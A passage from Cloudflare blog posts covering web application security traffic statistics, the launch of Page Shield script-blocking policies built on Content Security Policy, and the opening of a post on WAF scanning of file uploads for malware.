            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5eiU8dDdgzilfy1QDkz444/b3e287f663e473138259bac7c2dea4f3/Screenshot-2023-03-06-at-23.00.01.png" />
            
            </figure>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3ObkNfvMZcTPPxXnDjhgfe/e5a9c47dbdd1ff43a53119f6e0013041/pasted-image-0-7.png" />
            
            </figure><p>81% of mitigated HTTP requests were outright <code>BLOCK</code>ed, with mitigations for the remaining set split across the various <code>CHALLENGE</code> type actions.</p>
    <div>
      <h3>DDoS mitigation accounts for more than 50% of all mitigated traffic</h3>
      <a href="#ddos-mitigation-accounts-for-more-than-50-of-all-mitigated-traffic">
        
      </a>
    </div>
    <p>Cloudflare provides various security features that customers can configure to keep their applications safe. Unsurprisingly, DDoS mitigation is still the largest contributor to mitigated layer 7 (application layer) HTTP requests. Just last month (February 2023), we reported the <a href="/cloudflare-mitigates-record-breaking-71-million-request-per-second-ddos-attack/">largest known mitigated DDoS attack by HTTP requests/second volume</a> (This particular attack is not visible in the graphs above because they are aggregated at a daily level, and the attack only lasted for ~5 minutes).</p><p>Compared to last year, however, mitigation by the Cloudflare WAF has grown significantly, and now accounts for nearly 41% of mitigated requests. This can be partially attributed to <a href="/stop-attacks-before-they-are-known-making-the-cloudflare-waf-smarter/">advances in our WAF technology</a> that enables it to detect and block a larger range of attacks.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3pdhwKY0jThTj1OiHqL4vB/e94c2be1c4750b148718970118673938/out.png" />
            
            </figure><p>Tabular format for reference:</p>
<table>
<thead>
  <tr>
    <th><span>Source</span></th>
    <th><span>Percentage %</span></th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><span>DDoS Mitigation</span></td>
    <td><span>52%</span></td>
  </tr>
  <tr>
    <td><span>WAF</span></td>
    <td><span>41%</span></td>
  </tr>
  <tr>
    <td><span>IP reputation</span></td>
    <td><span>4%</span></td>
  </tr>
  <tr>
    <td><span>Access Rules</span></td>
    <td><span>2%</span></td>
  </tr>
  <tr>
    <td><span>Other</span></td>
    <td><span>1%</span></td>
  </tr>
</tbody>
</table><p>Please note that in the table above, in contrast to last year, we are now grouping our products to match our marketing materials and the groupings used in the <a href="https://radar.cloudflare.com/year-in-review/2022">2022 Radar Year in Review</a>. This mostly affects our WAF product that comprises the combination of WAF Custom Rules, WAF Rate Limiting Rules, and WAF Managed Rules. In last year’s report, these three features accounted for an aggregate 31% of mitigations.</p><p>To understand the growth in WAF mitigated requests over time, we can look one level deeper where it becomes clear that Cloudflare customers are increasingly relying on WAF Custom Rules (historically referred to as Firewall Rules) to mitigate malicious traffic or implement business logic blocks. Observe how the orange line (<code>firewallrules</code>) in the chart below shows a gradual increase over time while the blue line (<code>l7ddos</code>) clearly trends lower.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4ZcNrwcUi33RFZZd8zgg67/ecf460086091b5ba9e081940a6931426/pasted-image-0--1--3.png" />
            
            </figure>
    <div>
      <h3>HTTP Anomaly is the most frequent layer 7 attack vector mitigated by the WAF</h3>
      <a href="#http-anomaly-is-the-most-frequent-layer-7-attack-vector-mitigated-by-the-waf">
        
      </a>
    </div>
    <p>Contributing 30% of WAF Managed Rules mitigated traffic overall in March 2023, HTTP Anomaly’s share has decreased by nearly 25 percentage points as compared to the same time last year. Examples of HTTP anomalies include malformed method names, null byte characters in headers, non-standard ports or content length of zero with a <code>POST</code> request. This can be attributed to botnets matching HTTP anomaly signatures slowly changing their traffic patterns.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/35U8ZjXfZTDdpRQ59xV3w9/3e533f90eb2f42a067edd7b7ad086231/pasted-image-0--2--1.png" />
            
            </figure><p>Removing the HTTP anomaly line from the graph, we can see that in early 2023, the attack vector distribution looks a lot more balanced.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6rluFF9pSRJLaGItGsxfCT/7706f922a43159a25aa44154a3b0a0dc/pasted-image-0--3--1.png" />
            
            </figure><p>Tabular format for reference (top 10 categories):</p>
<table>
<thead>
  <tr>
    <th><span>Source</span></th>
    <th><span>Percentage % (last 12 months)</span></th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><span>HTTP Anomaly</span></td>
    <td><span>30%</span></td>
  </tr>
  <tr>
    <td><span>Directory Traversal</span></td>
    <td><span>16%</span></td>
  </tr>
  <tr>
    <td><span>SQLi</span></td>
    <td><span>14%</span></td>
  </tr>
  <tr>
    <td><span>File Inclusion</span></td>
    <td><span>12%</span></td>
  </tr>
  <tr>
    <td><span>Software Specific</span></td>
    <td><span>10%</span></td>
  </tr>
  <tr>
    <td><span>XSS</span></td>
    <td><span>9%</span></td>
  </tr>
  <tr>
    <td><span>Broken Authentication</span></td>
    <td><span>3%</span></td>
  </tr>
  <tr>
    <td><span>Command Injection</span></td>
    <td><span>3%</span></td>
  </tr>
  <tr>
    <td><span>Common Attack</span></td>
    <td><span>1%</span></td>
  </tr>
  <tr>
    <td><span>CVE </span></td>
    <td><span>1%</span></td>
  </tr>
</tbody>
</table><p>Of particular note is the orange line spike seen towards the end of February 2023 (CVE category). The spike relates to a sudden increase of two of our WAF Managed Rules:</p><ul><li><p>Drupal - Anomaly:Header:X-Forwarded-For (id: <code>d6f6d394cb01400284cfb7971e7aed1e</code>)</p></li><li><p>Drupal - Anomaly:Header:X-Forwarded-Host (id: <code>d9aeff22f1024655937e5b033a61fbc5</code>)</p></li></ul><p>These two rules are also tagged against <a href="https://nvd.nist.gov/vuln/detail/CVE-2018-14774">CVE-2018-14774</a>, indicating that even relatively old and known vulnerabilities are still often targeted in an effort to exploit potentially unpatched software.</p>
    <div>
      <h2>Bot traffic insights</h2>
      <a href="#bot-traffic-insights">
        
      </a>
    </div>
    <p>Cloudflare’s <a href="https://www.cloudflare.com/products/bot-management/">Bot Management</a> solution has seen significant investment over the last twelve months. New features such as configurable heuristics, hardened JavaScript detections, automatic <a href="https://www.cloudflare.com/learning/ai/what-is-machine-learning/">machine learning model</a> updates, and <a href="https://www.cloudflare.com/products/turnstile/">Turnstile</a>, Cloudflare’s free CAPTCHA replacement, make our classification of human vs. bot traffic improve daily.</p><p>Our confidence in the classification output is very high. If we plot the bot scores across the traffic from the last week of February 2023, we find a very clear distribution, with most requests either being classified as definitely bot (less than 30) or definitely human (greater than 80) with most requests actually scoring less than 2 or greater than 95.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/KD5WOxYsgKxjXru5Y92q3/7e214da58227bcb5bea9de2a1b8a5b4e/pasted-image-0--4--1.png" />
            
            </figure>
    <div>
      <h3>30% of HTTP traffic is automated</h3>
      <a href="#30-of-http-traffic-is-automated">
        
      </a>
    </div>
    <p>Over the last week of February 2023, 30% of Cloudflare HTTP traffic was classified as automated, equivalent to about 13 million HTTP requests/second on the Cloudflare network. This is 8 percentage points less than at the same time last year.</p><p>Looking at bot traffic only, we find that only 8% is generated by verified bots, comprising 2% of total traffic. Cloudflare maintains a list of known good (verified) bots to allow customers to easily distinguish between well-behaved bot providers like Google and Facebook and potentially lesser known or unwanted bots. There are currently <a href="https://radar.cloudflare.com/traffic/verified-bots">171 bots in the list</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2NGH6G5AdgzABSAo6ItxhD/40429c8382f4ea3db4327f6bbcfca7ca/pasted-image-0--5-.png" />
            
            </figure>
    <div>
      <h3>16% of non-verified bot HTTP traffic is mitigated</h3>
      <a href="#16-of-non-verified-bot-http-traffic-is-mitigated">
        
      </a>
    </div>
    <p>Non-verified bot traffic often includes vulnerability scanners that are constantly looking for exploits on the web, and as a result, nearly one-sixth of this traffic is mitigated because some customers prefer to restrict the insights such tools can potentially gain.</p><p>Although verified bots like googlebot and bingbot are generally seen as beneficial and most customers want to allow them, we also see a small percentage (1.5%) of verified bot traffic being mitigated. This is because some site administrators don’t want portions of their site to be crawled, and customers often rely on WAF Custom Rules to enforce this business logic.</p><p>The most common action used by customers is to <code>BLOCK</code> these requests (13%), although we do have some customers configuring <code>CHALLENGE</code> actions (3%) to ensure any human false positives can still complete the request if necessary.</p><p>On a similar note, it is also interesting that nearly 80% of all mitigated traffic is classified as a bot, as illustrated in the figure below. Some may note that 20% of mitigated traffic being classified as human is still extremely high, but most mitigations of human traffic are generated by WAF Custom Rules, and are frequently due to customers implementing country-level or other related legal blocks on their applications. This is common, for example, in the context of US-based companies blocking access to European users for GDPR compliance reasons.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4LUr8AfDJrf4U5IfRLFnC6/41af48de35fac34e053f9ef256bc9e1b/Ms7yLEMZH9YTC2GfsGffgbk4rQwzHfpIwPlVe1dy7ZkNxLKe49WZHfope9X9Z-x9BZ0ygFBqay5NV5ipMU42-7uNt5QTYkv8VryoXr5QaJp4-ystQ7I7x6WIa2-c.png" />
            
            </figure>
    <div>
      <h2>API traffic insights</h2>
      <a href="#api-traffic-insights">
        
      </a>
    </div>
    
    <div>
      <h3>55% of dynamic (non cacheable) traffic is API related</h3>
      <a href="#55-of-dynamic-non-cacheable-traffic-is-api-related">
        
      </a>
    </div>
    <p>Just like our Bot Management solution, we are also investing heavily in tools to protect API endpoints. This is because a <b>lot</b> of HTTP traffic is API related. In fact, if you count only HTTP requests that reach the origin and are <b>not</b> cacheable, up to 55% of traffic is API related, as per the definition stated earlier. This is the same methodology used in last year’s report, and the 55% figure remains unchanged year-over-year.</p><p>If we look at cached HTTP requests only (those with a cache status of <code>HIT</code>, <code>UPDATING</code>, <code>REVALIDATED</code> and <code>EXPIRED</code>) we find that, maybe surprisingly, nearly 7% is API related. Modern API endpoint implementations and proxy systems, including our own <a href="https://www.cloudflare.com/learning/security/api/what-is-an-api-gateway/">API Gateway</a>/caching feature set, in fact, allow for very flexible cache logic allowing both <a href="https://developers.cloudflare.com/cache/how-to/create-cache-keys/">caching on custom keys</a> as well as quick cache revalidation (<a href="https://developers.cloudflare.com/cache/about/edge-browser-cache-ttl/#:~:text=Edge%20Cache%20TTL%20(Time%20to,TTL%20depends%20on%20plan%20type.&amp;text=For%20more%20information%20on%20creating%20page%20rules%2C%20see%20Create%20page%20rules.)">as often as every second</a> allowing developers to reduce load on back end endpoints.</p><p>Including cacheable assets and other requests in the total count, such as redirects, the number goes down, but is still 25% of traffic. In the graph below we provide both perspectives on API traffic:</p><ul><li><p>Yellow line: % of API traffic against all HTTP requests. This will include redirects, cached assets and all other HTTP requests in the total count;</p></li><li><p>Blue line: % of API traffic against dynamic traffic returning HTTP 200 OK response code only;</p></li></ul>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3sBxmFpYbAGXEFqoJnr2SS/5518e387d93644a48d2a6cefc721d834/pasted-image-0--6-.png" />
            
            </figure>
    <div>
      <h3>65% of global API traffic is generated by browsers</h3>
      <a href="#65-of-global-api-traffic-is-generated-by-browsers">
        
      </a>
    </div>
    <p>A growing number of web applications nowadays are built “API first”. This means that the initial HTML page load only provides the skeleton layout, and most dynamic components and data are loaded via separate API calls (for example, via <a href="https://en.wikipedia.org/wiki/Ajax_(programming)">AJAX</a>). This is the case for Cloudflare’s own dashboard. This growing implementation paradigm is visible when analyzing the bot scores for API traffic. We can see in the figure below that a large amount of API traffic is generated by user-driven browsers classified as “human” by our system, with nearly two-thirds of it clustered at the high end of the “human” range.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/49vmou2pqy4n6RMVyZp0rf/60feafffa33b03318e80a3f210bbed1a/pasted-image-0--7--2.png" />
            
            </figure><p>Calculating mitigated API traffic is challenging, as we don’t forward the request to origin servers, and therefore cannot rely on the response content type. Applying the same calculation that was used last year, a little more than 2% of API traffic is mitigated, down from 10.2% last year.</p>
    <div>
      <h3>HTTP Anomaly surpasses SQLi as most common attack vector on API endpoints</h3>
      <a href="#http-anomaly-surpasses-sqli-as-most-common-attack-vector-on-api-endpoints">
        
      </a>
    </div>
    <p>Compared to last year, HTTP anomalies now surpass SQLi as the most popular attack vector attempted against API endpoints (note the blue line being higher at the start of the graph just when last year's report was published). Attack vectors on API traffic are not consistent throughout the year and show more variation as compared to global HTTP traffic. For example, note the spike in file inclusion attack attempts in early 2023.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4jHOBvqPAy11orLuscByY0/4422fa5b78e4cd1ec2e3a455231bd3a5/pasted-image-0--8-.png" />
            
            </figure>
    <div>
      <h2>Exploring account takeover attacks</h2>
      <a href="#exploring-account-takeover-attacks">
        
      </a>
    </div>
    <p>Since <a href="/account-takeover-protection/">March 2021, Cloudflare has provided a leaked credential check feature as part of its WAF</a>. This allows customers to be notified (via an HTTP request header) whenever an authentication request is detected with a username/password pair that is known to be leaked. This tends to be an extremely effective signal at detecting botnets performing account takeover brute force attacks.</p><p>Customers also use this signal, on valid username/password pair login attempts, to issue two factor authentication, password reset, or in some cases, increased logging in the event the user is not the legitimate owner of the credentials.</p>
    <div>
      <h3>Brute force account takeover attacks are increasing</h3>
      <a href="#brute-force-account-takeover-attacks-are-increasing">
        
      </a>
    </div>
    <p>If we look at the trend of matched requests over the past 12 months, an increase is noticeable starting in the latter half of 2022, indicating growing fraudulent activity against login endpoints. During large brute force attacks we have observed matches against HTTP requests with leaked credentials at a rate higher than 12k per minute.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3uTR3ZU85pPkHG6xtlAicC/707ddc37a95b5a7ec113e7d710bc3b52/pasted-image-0--9-.png" />
            
            </figure><p>Our leaked credential check feature has rules matching authentication requests for the following systems:</p><ul><li><p>Drupal</p></li><li><p>Ghost</p></li><li><p>Joomla</p></li><li><p>Magento</p></li><li><p>Plone</p></li><li><p>WordPress</p></li><li><p>Microsoft Exchange</p></li><li><p>Generic rules matching common authentication endpoint formats</p></li></ul><p>This allows us to compare activity from malicious actors, normally in the form of botnets, attempting to “break into” potentially compromised accounts.</p>
    <div>
      <h3>Microsoft Exchange is attacked more than WordPress</h3>
      <a href="#microsoft-exchange-is-attacked-more-than-wordpress">
        
      </a>
    </div>
    <p>Mostly due to its popularity, you might expect <a href="https://w3techs.com/technologies/details/cm-wordpress">WordPress</a> to be the application most <a href="https://www.cloudflare.com/learning/security/how-to-improve-wordpress-security/">at risk</a> and/or observing most brute force account takeover traffic. However, looking at rule matches from the supported systems listed above, we find that after our generic signatures, the Microsoft Exchange signature is the most frequent match.</p><p>Most applications experiencing brute force attacks tend to be high value assets, and Exchange accounts being the most likely targeted according to our data reflects this trend.</p><p>If we look at leaked credential match traffic by source country, the United States leads by a fair margin. Potentially notable is the absence of China in top contenders given network size. The only exception is Ukraine leading during the first half of 2022 towards the start of the war — the yellow line seen in the figure below.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6XiIU19alI12sLDxm3SDS8/d0bafef4317e397c62b5eafa093d7e54/pasted-image-0--10-.png" />
            
            </figure>
    <div>
      <h2>Looking forward</h2>
      <a href="#looking-forward">
        
      </a>
    </div>
    <p>Given the amount of web traffic carried by Cloudflare, we observe a broad spectrum of attacks. From HTTP anomalies, SQL injection attacks, and <a href="https://www.cloudflare.com/learning/security/threats/cross-site-scripting/">cross-site scripting (XSS)</a> to account takeover attempts and malicious bots, the threat landscape is constantly changing. As such, it is critical that any business operating online is investing in visibility, detection, and mitigation technologies so that they can ensure their applications, and more importantly, their end user’s data, remains safe.</p><p>We hope that you found the findings in this report interesting, and at the very least, gave you an appreciation on the state of <a href="https://www.cloudflare.com/application-services/solutions/">application security</a> on the Internet. There are a lot of bad actors online, and there is no indication that Internet security is getting easier.</p><p>We are already planning an update to this report including additional data and insights across our product portfolio. Keep an eye on <a href="https://radar.cloudflare.com/">Cloudflare Radar</a> for more frequent application security reports and insights.</p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[Radar]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[API]]></category>
            <category><![CDATA[WAF]]></category>
            <guid isPermaLink="false">aUiJyB7qZCQ2kxHw5bM4B</guid>
            <dc:creator>Michael Tremante</dc:creator>
            <dc:creator>David Belson</dc:creator>
            <dc:creator>Sabina Zejnilovic</dc:creator>
        </item>
        <item>
            <title><![CDATA[Locking down your JavaScript: positive blocking with Page Shield policies]]></title>
            <link>https://blog.cloudflare.com/page-shield-positive-blocking-policies/</link>
            <pubDate>Mon, 13 Mar 2023 13:00:00 GMT</pubDate>
            <description><![CDATA[ Starting today, using Page Shield, Cloudflare’s client side security solution, you can ensure only vetted and secure JavaScript is being executed by your user’s browsers. Stop unwanted JavaScript and keep your end user data safe with Page Shield policies. ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/72U4mGkIMlR2xtRGMJpNhN/ed196886c95d2b2f27e63c5141df7f22/image3-10.png" />
            
            </figure><p>Web development teams are tasked with delivering feature-rich applications at lightning speeds. To help them, there are thousands of pre-built JavaScript libraries that they can integrate with little effort.</p><p>Not always, however, are these libraries backed with hardened security measures to ensure the code they provide is not tampered with by malicious actors. This ultimately leads to an increased risk of an application being compromised.</p><p>Starting today, tackling the risk of external JavaScript libraries just got easier. We are adding a new feature to our client side security solution: <a href="https://www.cloudflare.com/page-shield/">Page Shield</a> policies. Using policies you can now ensure only allowed and vetted libraries are executed by your application by simply reviewing a checklist.</p>
    <div>
      <h2>Client side libraries</h2>
      <a href="#client-side-libraries">
        
      </a>
    </div>
    <p>There are more than 4,373 libraries available on <a href="https://cdnjs.com/">cdnjs</a>, a popular JavaScript repository, at the time of writing. These libraries provide access to pre-built functionality to build web applications. The screenshot below shows the most popular on the platform such as <a href="https://reactjs.org/">React</a>, <a href="https://vuejs.org/">Vue.js</a> and <a href="https://getbootstrap.com/">Bootstrap</a>. Bootstrap alone, according to W3Techs, is used <a href="https://w3techs.com/technologies/overview/javascript_library">on more than 20% of all websites</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5czifSwe8ugZHJ9pjNlLTw/3b121f648aa38c9c141e3979d8b5b17f/image1-14.png" />
            
            </figure><p>In addition to library repositories like cdnjs, there are thousands of plugins provided directly by SaaS platforms including from names such as Google, Meta, Microsoft, and more.</p><p>According to our Page Shield data, any large enterprise application is loading <b>AND</b> connecting to tens if not hundreds of different destinations for analytics, payments, real user monitoring, conversion tracking, customer relationship management, and many other features that internal teams “must have”.</p>
<table>
<thead>
  <tr>
    <th><span>Script hosts</span><br /><span>(JavaScript loaded from...)</span></th>
    <th><span>Connection hosts </span><br /><span>(Data sent to...)</span></th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><span>Google</span></td>
    <td><span>Google</span></td>
  </tr>
  <tr>
    <td><span>Facebook</span></td>
    <td><span>Facebook</span></td>
  </tr>
  <tr>
    <td><span>Cloudflare</span></td>
    <td><span>Microsoft</span></td>
  </tr>
  <tr>
    <td><span>Salesforce</span></td>
    <td><span>Hotjar</span></td>
  </tr>
  <tr>
    <td><span>Prospect One</span></td>
    <td><span>OneTrust</span></td>
  </tr>
  <tr>
    <td><span>Open JS Foundation</span></td>
    <td><span>Pinterest</span></td>
  </tr>
  <tr>
    <td><span>Microsoft</span></td>
    <td><span>TikTok</span></td>
  </tr>
  <tr>
    <td><span>Hotjar</span></td>
    <td><span>PayPal</span></td>
  </tr>
  <tr>
    <td><span>hCaptcha</span></td>
    <td><span>Snapchat</span></td>
  </tr>
  <tr>
    <td><span>Fly.io</span></td>
    <td><span>NewRelic</span></td>
  </tr>
</tbody>
</table><p>Ultimately, it is hard for most organizations to not rely on external JavaScript libraries.</p>
    <div>
      <h2>Yet another vector for attackers</h2>
      <a href="#yet-another-vector-for-attackers">
        
      </a>
    </div>
    <p>Although there are good reasons to embed external JavaScript in an application, the proliferation of client side libraries, especially from SaaS providers, has increased scrutiny from malicious actors seeking new ways to exploit web applications. A single compromised SaaS provider that offers a client side library can provide direct access to thousands of applications drastically increasing return on “hacker” investment.</p><p>Client side security issues are not new. Attacks such as “<a href="https://en.wikipedia.org/wiki/Web_skimming">web skimming</a>”, also referred to as “Magecart-style” when in the context of payment pages, have been around for a long time. Yet, core <a href="https://www.cloudflare.com/application-services/solutions/">application security products</a> often focus on protecting the underlying web application rather than the end user data resulting in a <a href="https://www.cloudflare.com/learning/security/what-is-an-attack-surface/">large attack surface</a> that most security teams simply have no visibility on. This gap in visibility, caused by “<a href="https://www.cloudflare.com/learning/security/what-is-a-supply-chain-attack/">supply chains</a>”, led us to build <a href="/introducing-page-shield/">Page Shield</a>, Cloudflare’s native client-side security solution.</p><p>Although the risk of supply chain attacks is becoming widely known, they are still very much an active threat. New research is being published monthly from vendors in this space highlighting ongoing attack campaigns. The Payment Card Industry Security Standards Council has also introduced new requirements in <a href="https://blog.pcisecuritystandards.org/pci-dss-v4-0-resource-hub">PCI DSS 4.0</a>* that enforce companies to have <a href="https://www.cloudflare.com/learning/privacy/what-is-pci-dss-compliance/">systems and processes</a> in place to tackle client side security threats.</p><p>Page Shield itself has already been effective at warning customers of ongoing attacks on their applications, such as the screenshot below highlighting an active malicious outbound connection from a Magecart-style attack on a customer e-commerce application.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6SG4JmBvsppxxCQv3O67L2/f381b9e23b62496555cca45e72dabba0/image5-2.png" />
            
            </figure>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7xgWKk4Vh8USmts82AWUCH/0d8d436e8418ab236fa39886e3506258/image6-4.png" />
            
            </figure><p>* PCI DSS 4.0 requirements 6.4.3 and 11.6.1 are just two examples focusing on client side security.</p>
    <div>
      <h2>Reducing the attack surface</h2>
      <a href="#reducing-the-attack-surface">
        
      </a>
    </div>
    <p>Page Shield aims to detect and alert whenever malicious activity is found within the client environment. That’s still a core focus as we improve detection capabilities further.</p><p>We are now also looking at expanding capabilities to also reduce the opportunity for an attacker to compromise an application in the first place. In other words, prevent attacks happening by reducing the attack surface available.</p><p>Today we are announcing our first major feature in this space: Page Shield policies. Here’s what it looks like:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1tfGiisqgDNNi4fMVnMezY/82e81839fd18fda628bc1047223790ea/image7-1.png" />
            
            </figure>
    <div>
      <h3>Positive blocking policies</h3>
      <a href="#positive-blocking-policies">
        
      </a>
    </div>
    <p>By leveraging our position in the network stack as a reverse proxy, and by using Page Shield policies, you can now enforce client browsers to load and execute JavaScript libraries only from your pre-approved list of allowed sources implementing a positive security model.</p><p>This ensures that an attacker that is able to inject a script in a page, won’t be successful in compromising users, as browsers will refuse to load it. At the same time, vetted tools will run without issues.</p><p>Policies will also soon allow you to specify data destinations (connection endpoints) also enforcing not only where JavaScript files are being loaded from, but also where the browser can send data to drastically reduce the risk of “Magecart-style” attacks.</p>
    <div>
      <h3>CSPs as the core mechanism</h3>
      <a href="#csps-as-the-core-mechanism">
        
      </a>
    </div>
    <p>Page Shield policies are currently implemented with <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Content Security Policies</a> (CSPs), a feature natively supported by all major browsers.</p><p>CSPs are specially formatted HTTP response headers that are added to HTML page loads. These headers may contain one or more directives that instruct the browser how to and what to execute in the context of the given page.</p><p>From today Page Shield policies support the <code>script-src</code> directive. This directive lets application owners specify “where” JavaScript files are allowed to be loaded from. Support for the <code>connect-src</code> directive is also being finalized which behaves similarly to <code>script-src</code>, but specifies where the browser is allowed to send data “to”.</p><p>Let’s take a look at a one example and assume we were opening the following web page <code>www.example.com/index.html</code> and the browser received a CSP header as below:</p><p><code>Content-Security-Policy: script-src 'self' *.example.com cdnjs.cloudflare.com https://www.google-analytics.com/analytics.js</code></p><p>The header instructs the browser to allow scripts (defined by the use of the <code>script-src</code> directive) to be loaded from the same hostname as the page itself (defined by <code>self</code>) as well as from any subdomain (<code>*.example.com</code>). It is additionally allowing any script under cdnjs and only a specific script for Google Analytics and no other scripts under the Google owned domain.</p><p>This ensures that any attacker injected script from different hosts would not be executed, drastically reducing the attack surface available.</p><p>If rather than <code>Content-Security-Policy</code> we had received a <code>Content-Security-Policy-Report-Only</code> header, the policy would not be enforced, but browsers would only send violation reports letting you know what is outside of policy.</p><p>This is useful when testing and when investigating new scripts that have been added to your application.</p><p>Additional statements are also available and supported by Page Shield within the <code>script-src</code> directive to block inline JavaScript (<code>unsafe-inline</code>) or normally unsafe function calls (<code>unsafe-eval</code>). These directives help prevent other attack types such as <a href="https://www.cloudflare.com/learning/security/how-to-prevent-xss-attacks/">cross site scripting attacks (XSS)</a>.</p>
    <div>
      <h3>Making policy management easy</h3>
      <a href="#making-policy-management-easy">
        
      </a>
    </div>
    <p>CSPs, the underlying system used by Page Shield policies, are great but hard to manage. The larger the application, the more complex CSPs become while also causing a bottleneck for application development teams. This leads to CSPs becoming ineffective as security teams broaden the list of allowed hosts to the point that their purpose becomes debatable.</p><p>Making policy management easy, and ensuring they are effective, was a core goal of our design process. This led us to build a suggestions feature.</p><p>When deploying a policy, the first step is deciding “where” will the policy be applied to. Typical examples may include only your checkout flow or admin pages. This is done using <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/">wirefilter syntax</a>, the same syntax that powers <a href="https://www.cloudflare.com/waf/">Cloudflare’s WAF</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5grJjTZkxtafDfDnKd1t8R/d0735f9410c8b1946663ba1f3d98af93/image4-9.png" />
            
            </figure><p>Once the filter is specified, using the data already collected by Page Shield, the interface will provide a list of suggested directive values, making it very easy to build the simplest and most effective policy for your application. No need to worry about syntax, the policy preview will be shown before committing.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4Hc6rVyXxcDfEtIIayEHTF/e6e7fb1108aabbb7db561804f672e486/image2-8.png" />
            
            </figure><p>Finally, policies can be deployed both in “report only/log” and “enforce/allow”, letting you control and test as required.</p><p>We are currently finishing work on our alerting backend to warn you whenever we notice a spike in violation reports. This lets you easily return to the policy builder and update it with any newly seen script that may have been added by your development team.</p>
    <div>
      <h3>Positive blocking policies are not enough</h3>
      <a href="#positive-blocking-policies-are-not-enough">
        
      </a>
    </div>
    <p>It is important not to forget that CSPs provide no security or malicious activity detection within the list of allowed endpoints. They are meant to reduce the likelihood of an attack happening by reducing the attack surface available. For this reason, Page Shield’s automated malicious activity detection will continue to function in the background regardless of any policy being deployed.</p>
    <div>
      <h2>Secure your end user data today</h2>
      <a href="#secure-your-end-user-data-today">
        
      </a>
    </div>
    <p>All Cloudflare paid customers have access to a subset of <a href="https://www.cloudflare.com/page-shield/">Page Shield</a> features today. Turning on Page Shield is as simple as clicking a button. Head over to <b>Security</b> &gt; <b>Page Shield</b> and give it a go!</p><p>If you are an enterprise customer and are interested in Page Shield policies, reach out to your account team to get access to the full feature set.</p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Page Shield]]></category>
            <guid isPermaLink="false">28F5CUkoJfMahoWir47MND</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[How Cloudflare can help stop malware before it reaches your app]]></title>
            <link>https://blog.cloudflare.com/waf-content-scanning/</link>
            <pubDate>Wed, 04 Jan 2023 14:00:00 GMT</pubDate>
            <description><![CDATA[ Today, we’re making the job of application security teams easier, by providing a content scanning engine integrated with our Web Application Firewall (WAF), so that malicious files being uploaded by end users, never reach origin servers in the first place ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Let’s assume you manage a job advert site. On a daily basis job-seekers will be uploading their CVs, cover letters and other supplementary documents to your servers. What if someone tried to upload malware instead?</p><p>Today we’re making your security team job easier by providing a file content scanning engine integrated with our <a href="https://www.cloudflare.com/waf/">Web Application Firewall (WAF)</a>, so that malicious files being uploaded by end users get blocked before they reach application servers.</p><p>Enter WAF Content Scanning.</p><p>If you are an enterprise customer, reach out to your account team to get access.</p>
    <div>
      <h2>Making content scanning easy</h2>
      <a href="#making-content-scanning-easy">
        
      </a>
    </div>
    <p>At Cloudflare, we pride ourselves on making our products very easy to use. WAF Content Scanning was built with that goal in mind. The main requirement to use the Cloudflare WAF is that application traffic is proxying via the <a href="https://www.cloudflare.com/network/">Cloudflare network</a>. Once that is done, <a href="https://developers.cloudflare.com/waf/about/content-scanning/#1-enable-waf-content-scanning">turning on Content Scanning requires a single API call</a>.</p><p>Once on, the <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">WAF</a> will automatically detect any content being uploaded, and when found, scan it and provide the results for you to use when writing WAF Custom Rules or reviewing security analytics dashboards.</p><p>The entire process runs inline with your HTTP traffic and requires no change to your application.</p><p>As of today, we scan files up to 1 MB. You can easily block files that exceed this size or perform other actions such as log the upload.</p><p>To block a malicious file, you could write a simple WAF Custom Rule like the following:</p><p>if: <code>(cf.waf.content_scan.has_malicious_obj)</code></p><p>then: <code>BLOCK</code></p><p>In the dashboard the rule would look like this:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6daRCuMMjCfLuvANxoRSbS/51056b8e1ff80c7ae1788c98c62956bb/image4.png" />
            
